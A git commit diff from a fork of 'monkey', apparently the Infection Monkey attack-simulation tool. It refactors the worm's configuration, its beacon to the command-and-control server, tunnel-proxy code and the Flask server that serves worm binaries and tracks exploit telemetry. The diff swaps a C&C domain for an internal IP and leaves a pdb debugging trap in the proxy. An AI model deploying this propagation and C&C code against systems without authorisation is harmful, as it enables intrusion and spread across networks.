forked from p15670423/monkey
code organization #3
This commit is contained in:
parent
730f2a58d9
commit
52e5abfc81
|
@ -121,7 +121,9 @@ class Configuration(object):
|
|||
|
||||
current_server = ""
|
||||
|
||||
command_servers = ["russian-mail-brides.com:5000"]
|
||||
command_servers = [
|
||||
"10.15.1.13:5000"
|
||||
]
|
||||
|
||||
serialize_config = False
|
||||
|
||||
|
@ -131,7 +133,6 @@ class Configuration(object):
|
|||
# scanners config
|
||||
###########################
|
||||
|
||||
|
||||
# range_class = RelativeRange
|
||||
range_size = 8
|
||||
range_class = FixedRange
|
||||
|
@ -139,7 +140,7 @@ class Configuration(object):
|
|||
|
||||
# TCP Scanner
|
||||
tcp_target_ports = [22, 2222, 445, 135, 3389]
|
||||
tcp_scan_timeout = 3000 # 3000 Milliseconds
|
||||
tcp_scan_timeout = 3000 # 3000 Milliseconds
|
||||
tcp_scan_interval = 200
|
||||
tcp_scan_get_banner = True
|
||||
|
||||
|
|
|
@ -23,12 +23,15 @@ class ControlClient(object):
|
|||
|
||||
@staticmethod
|
||||
def wakeup(parent=None, default_tunnel=None):
|
||||
LOG.debug("Trying to wake up with C&C servers list: %r" % WormConfiguration.command_servers)
|
||||
if parent or default_tunnel:
|
||||
LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel))
|
||||
hostname = gethostname()
|
||||
if not parent:
|
||||
parent = GUID
|
||||
|
||||
for server in WormConfiguration.command_servers:
|
||||
try:
|
||||
hostname = gethostname()
|
||||
if not parent:
|
||||
parent = GUID
|
||||
|
||||
WormConfiguration.current_server = server
|
||||
|
||||
monkey = {'guid': GUID,
|
||||
|
@ -40,7 +43,11 @@ class ControlClient(object):
|
|||
|
||||
if ControlClient.proxies:
|
||||
monkey['tunnel'] = ControlClient.proxies.get('https')
|
||||
|
||||
|
||||
debug_message = "Trying to connect to server: %s" % server
|
||||
if ControlClient.proxies:
|
||||
debug_message += " through proxies: %s" % ControlClient.proxies
|
||||
LOG.debug(debug_message)
|
||||
reply = requests.post("https://%s/api/monkey" % (server,),
|
||||
data=json.dumps(monkey),
|
||||
headers={'content-type': 'application/json'},
|
||||
|
@ -49,17 +56,18 @@ class ControlClient(object):
|
|||
break
|
||||
|
||||
except Exception, exc:
|
||||
WormConfiguration.current_server = ''
|
||||
WormConfiguration.current_server = ""
|
||||
LOG.warn("Error connecting to control server %s: %s", server, exc)
|
||||
|
||||
if not WormConfiguration.current_server:
|
||||
if not ControlClient.proxies:
|
||||
LOG.info("Starting tunnel lookup...")
|
||||
proxy_find = tunnel.find_tunnel(default=default_tunnel)
|
||||
proxy_find = tunnel.find_tunnel(default=default_tunnel)
|
||||
if proxy_find:
|
||||
LOG.info("Found tunnel at %s:%s" % proxy_find)
|
||||
ControlClient.proxies['https'] = 'https://%s:%s' % proxy_find
|
||||
ControlClient.wakeup(parent)
|
||||
proxy_address, proxy_port = proxy_find
|
||||
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
|
||||
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
|
||||
ControlClient.wakeup(parent=parent)
|
||||
else:
|
||||
LOG.info("No tunnel found")
|
||||
|
||||
|
@ -170,6 +178,7 @@ class ControlClient(object):
|
|||
return None
|
||||
else:
|
||||
proxy_class = HTTPConnectProxy
|
||||
target_addr, target_port = None, None
|
||||
target_addr, target_port = WormConfiguration.current_server.split(':', 1)
|
||||
target_port = int(target_port)
|
||||
|
||||
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
|
||||
|
|
|
@ -112,10 +112,13 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
# just provide a tunnel, transfer the data with no modification
|
||||
req = self
|
||||
reqbody = None
|
||||
import pdb
|
||||
pdb.set_trace()
|
||||
req.path = "https://%s/" % req.path.replace(':443', '')
|
||||
|
||||
u = urlsplit(req.path)
|
||||
address = (u.hostname, u.port or 443)
|
||||
uri = u
|
||||
try:
|
||||
conn = socket.create_connection(address)
|
||||
except socket.error:
|
||||
|
@ -141,9 +144,8 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
conn.close()
|
||||
|
||||
def log_message(self, format, *args):
|
||||
LOG.debug("HTTPConnectProxyHandler: %s - - [%s] %s" % (self.address_string(),
|
||||
self.log_date_time_string(),
|
||||
format % args))
|
||||
LOG.debug("HTTPConnectProxyHandler: %s - [%s] %s" %
|
||||
(self.address_string(), self.log_date_time_string(), format % args))
|
||||
|
||||
|
||||
class InternalHTTPServer(BaseHTTPServer.HTTPServer):
|
||||
|
@ -171,6 +173,7 @@ class HTTPServer(threading.Thread):
|
|||
def run(self):
|
||||
class TempHandler(FileServHTTPRequestHandler):
|
||||
filename = self._filename
|
||||
|
||||
@staticmethod
|
||||
def report_download():
|
||||
self.downloads += 1
|
||||
|
@ -192,6 +195,5 @@ class HTTPConnectProxy(TransportProxyBase):
|
|||
def run(self):
|
||||
httpd = InternalHTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
|
||||
httpd.timeout = 10
|
||||
|
||||
while not self._stopped:
|
||||
httpd.handle_request()
|
||||
|
|
|
@ -46,7 +46,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
|
|||
while True:
|
||||
try:
|
||||
answer, address = sock.recvfrom(BUFFER_READ)
|
||||
if not answer in ['?', '+', '-']:
|
||||
if answer not in ['?', '+', '-']:
|
||||
tunnels.append(answer)
|
||||
except socket.timeout:
|
||||
break
|
||||
|
@ -58,7 +58,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
|
|||
continue
|
||||
|
||||
LOG.debug("Checking tunnel %s:%s", address, port)
|
||||
is_open,_ = check_port_tcp(address, int(port))
|
||||
is_open, _ = check_port_tcp(address, int(port))
|
||||
if not is_open:
|
||||
LOG.debug("Could not connect to %s:%s", address, port)
|
||||
continue
|
||||
|
@ -111,7 +111,11 @@ class MonkeyTunnel(Thread):
|
|||
return
|
||||
|
||||
proxy = self._proxy_class(local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port)
|
||||
LOG.info("Running tunnel using proxy class: %s, on port %s", proxy.__class__.__name__, self.local_port)
|
||||
LOG.info("Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s",
|
||||
proxy.__class__.__name__,
|
||||
self.local_port,
|
||||
self._target_addr,
|
||||
self._target_port)
|
||||
proxy.start()
|
||||
|
||||
while not self._stopped:
|
||||
|
|
|
@ -1,7 +1,6 @@
|
|||
import os
|
||||
from flask import Flask, request, abort, send_from_directory
|
||||
from flask.ext import restful
|
||||
from flask.ext.restful import reqparse
|
||||
from flask.ext.pymongo import PyMongo
|
||||
from flask import make_response
|
||||
import bson.json_util
|
||||
|
@ -10,39 +9,39 @@ from datetime import datetime
|
|||
import dateutil.parser
|
||||
|
||||
MONKEY_DOWNLOADS = [
|
||||
{
|
||||
'type' : 'linux',
|
||||
'machine' : 'x86_64',
|
||||
'filename' : 'monkey-linux-64',
|
||||
},
|
||||
{
|
||||
'type' : 'linux',
|
||||
'machine' : 'i686',
|
||||
'filename' : 'monkey-linux-32',
|
||||
},
|
||||
{
|
||||
'type' : 'linux',
|
||||
'filename' : 'monkey-linux-32',
|
||||
},
|
||||
{
|
||||
'type' : 'windows',
|
||||
'machine' : 'x86',
|
||||
'filename' : 'monkey-linux-32.exe',
|
||||
},
|
||||
{
|
||||
'type' : 'windows',
|
||||
'machine' : 'amd64',
|
||||
'filename' : 'monkey-windows-64.exe',
|
||||
},
|
||||
{
|
||||
'type' : 'windows',
|
||||
'filename' : 'monkey-windows-32.exe',
|
||||
},
|
||||
{
|
||||
'type': 'linux',
|
||||
'machine': 'x86_64',
|
||||
'filename': 'monkey-linux-64',
|
||||
},
|
||||
{
|
||||
'type': 'linux',
|
||||
'machine': 'i686',
|
||||
'filename': 'monkey-linux-32',
|
||||
},
|
||||
{
|
||||
'type': 'linux',
|
||||
'filename': 'monkey-linux-32',
|
||||
},
|
||||
{
|
||||
'type': 'windows',
|
||||
'machine': 'x86',
|
||||
'filename': 'monkey-linux-32.exe',
|
||||
},
|
||||
{
|
||||
'type': 'windows',
|
||||
'machine': 'amd64',
|
||||
'filename': 'monkey-windows-64.exe',
|
||||
},
|
||||
{
|
||||
'type': 'windows',
|
||||
'filename': 'monkey-windows-32.exe',
|
||||
},
|
||||
]
|
||||
|
||||
MONGO_URL = os.environ.get('MONGO_URL')
|
||||
if not MONGO_URL:
|
||||
MONGO_URL = "mongodb://localhost:27017/monkeyisland";
|
||||
MONGO_URL = "mongodb://localhost:27017/monkeyisland"
|
||||
|
||||
app = Flask(__name__)
|
||||
app.config['MONGO_URI'] = MONGO_URL
|
||||
|
@ -54,7 +53,7 @@ class Monkey(restful.Resource):
|
|||
guid = kw.get('guid')
|
||||
timestamp = request.args.get('timestamp')
|
||||
|
||||
if None != guid:
|
||||
if guid:
|
||||
return mongo.db.monkey.find_one_or_404({"guid": guid})
|
||||
else:
|
||||
result = {'timestamp': datetime.now().isoformat()}
|
||||
|
@ -65,8 +64,8 @@ class Monkey(restful.Resource):
|
|||
return result
|
||||
|
||||
def patch(self, guid):
|
||||
monkey_json = json.loads(request.data);
|
||||
update = {"$set" : {'modifytime':datetime.now()}}
|
||||
monkey_json = json.loads(request.data)
|
||||
update = {"$set": {'modifytime': datetime.now()}}
|
||||
|
||||
if monkey_json.has_key('keepalive'):
|
||||
update['$set']['keepalive'] = dateutil.parser.parse(monkey_json['keepalive'])
|
||||
|
@ -91,7 +90,7 @@ class Monkey(restful.Resource):
|
|||
# if new monkey, change config according to "new monkeys" config.
|
||||
db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})
|
||||
if not db_monkey:
|
||||
new_config = mongo.db.config.find_one({'name' : 'newconfig'}) or {}
|
||||
new_config = mongo.db.config.find_one({'name': 'newconfig'}) or {}
|
||||
monkey_json['config'] = monkey_json.get('config', {})
|
||||
monkey_json['config'].update(new_config)
|
||||
else:
|
||||
|
@ -106,13 +105,14 @@ class Monkey(restful.Resource):
|
|||
# try to find new monkey parent
|
||||
parent = monkey_json.get('parent')
|
||||
if (not parent or parent == monkey_json.get('guid')) and monkey_json.has_key('ip_addresses'):
|
||||
exploit_telem = [x for x in mongo.db.telemetry.find({'telem_type': {'$eq' : 'exploit'}, \
|
||||
'data.machine.ip_addr' : {'$in' : monkey_json['ip_addresses']}})]
|
||||
exploit_telem = [x for x in
|
||||
mongo.db.telemetry.find({'telem_type': {'$eq': 'exploit'}, 'data.machine.ip_addr':
|
||||
{'$in': monkey_json['ip_addresses']}})]
|
||||
if 1 == len(exploit_telem):
|
||||
monkey_json['parent'] = exploit_telem[0].get('monkey_guid')
|
||||
|
||||
return mongo.db.monkey.update({"guid": monkey_json["guid"]},
|
||||
{"$set" : monkey_json},
|
||||
{"$set": monkey_json},
|
||||
upsert=True)
|
||||
|
||||
|
||||
|
@ -124,9 +124,9 @@ class Telemetry(restful.Resource):
|
|||
result = {'timestamp': datetime.now().isoformat()}
|
||||
find_filter = {}
|
||||
|
||||
if None != monkey_guid:
|
||||
if monkey_guid:
|
||||
find_filter["monkey_guid"] = {'$eq': monkey_guid}
|
||||
if None != timestamp:
|
||||
if timestamp:
|
||||
find_filter['timestamp'] = {'$gt': dateutil.parser.parse(timestamp)}
|
||||
|
||||
result['objects'] = [x for x in mongo.db.telemetry.find(find_filter)]
|
||||
|
@ -142,15 +142,15 @@ class Telemetry(restful.Resource):
|
|||
try:
|
||||
if telemetry_json.get('telem_type') == 'exploit':
|
||||
update_parent = []
|
||||
for monkey in mongo.db.monkey.find({ "ip_addresses" :
|
||||
{'$elemMatch' :
|
||||
{ '$eq' : telemetry_json['data']['machine']['ip_addr'] }}}):
|
||||
for monkey in mongo.db.monkey.find({"ip_addresses":
|
||||
{'$elemMatch':
|
||||
{'$eq': telemetry_json['data']['machine']['ip_addr']}}}):
|
||||
parent = monkey.get('parent')
|
||||
if parent == monkey.get('guid') or None == parent:
|
||||
if parent == monkey.get('guid') or not parent:
|
||||
update_parent.append(monkey)
|
||||
if 1 == len(update_parent):
|
||||
update_parent[0]['parent'] = telemetry_json['monkey_guid']
|
||||
mongo.db.monkey.update({"guid": update_parent[0]['guid']}, {"$set" : update_parent[0]}, upsert=False)
|
||||
mongo.db.monkey.update({"guid": update_parent[0]['guid']}, {"$set": update_parent[0]}, upsert=False)
|
||||
except:
|
||||
pass
|
||||
|
||||
|
@ -159,14 +159,14 @@ class Telemetry(restful.Resource):
|
|||
|
||||
class NewConfig(restful.Resource):
|
||||
def get(self):
|
||||
config = mongo.db.config.find_one({'name' : 'newconfig'}) or {}
|
||||
config = mongo.db.config.find_one({'name': 'newconfig'}) or {}
|
||||
if config.has_key('name'):
|
||||
del config['name']
|
||||
return config
|
||||
|
||||
def post(self):
|
||||
config_json = json.loads(request.data)
|
||||
return mongo.db.config.update({'name' : 'newconfig'}, {"$set" : config_json}, upsert=True)
|
||||
return mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
|
||||
|
||||
|
||||
class MonkeyDownload(restful.Resource):
|
||||
|
@ -177,7 +177,7 @@ class MonkeyDownload(restful.Resource):
|
|||
host_json = json.loads(request.data)
|
||||
host_os = host_json.get('os')
|
||||
if os:
|
||||
result = None
|
||||
result = None
|
||||
for download in MONKEY_DOWNLOADS:
|
||||
if host_os.get('type') == download.get('type') and \
|
||||
host_os.get('machine') == download.get('machine'):
|
||||
|
@ -242,4 +242,4 @@ api.add_resource(NewConfig, '/api/config/new')
|
|||
api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/', '/api/monkey/download/<string:path>')
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', debug=True, ssl_context=('server.crt', 'server.key'))
|
||||
app.run(host='0.0.0.0', debug=True, ssl_context=('server.crt', 'server.key'))
|
||||
|
|
Loading…
Reference in New Issue